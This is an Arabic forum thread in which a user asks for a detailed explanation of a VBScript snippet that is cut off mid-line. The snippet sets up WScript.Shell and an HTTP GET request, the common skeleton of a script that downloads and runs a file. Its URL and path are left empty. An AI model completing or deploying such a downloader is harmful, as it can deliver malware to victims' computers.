obelisk

بارك الله فيكم على التجاوب منتدى احنبي فيه ااعضاء اجابوني بعد وضعي للموضوع بمدة قصيرة تحياتي

و عليكم السلام و رحمة الله و بركاته شكرا لك على التنبيه تحياتي

السلام عليكم و رحمة الله و بركاته اخواني ممكن تشرحوا لي هذا الكود بالتدقيق Dim njn Set njn = CreateObject("wscript.shell") Dim ur Dim fo Dim jn Dim nj ur = "" fo = "" Set jn = CreateObject("MSXML2.XMLHTTP") jn.Open "GET", ur, False jn.send ("") If jn.Status = …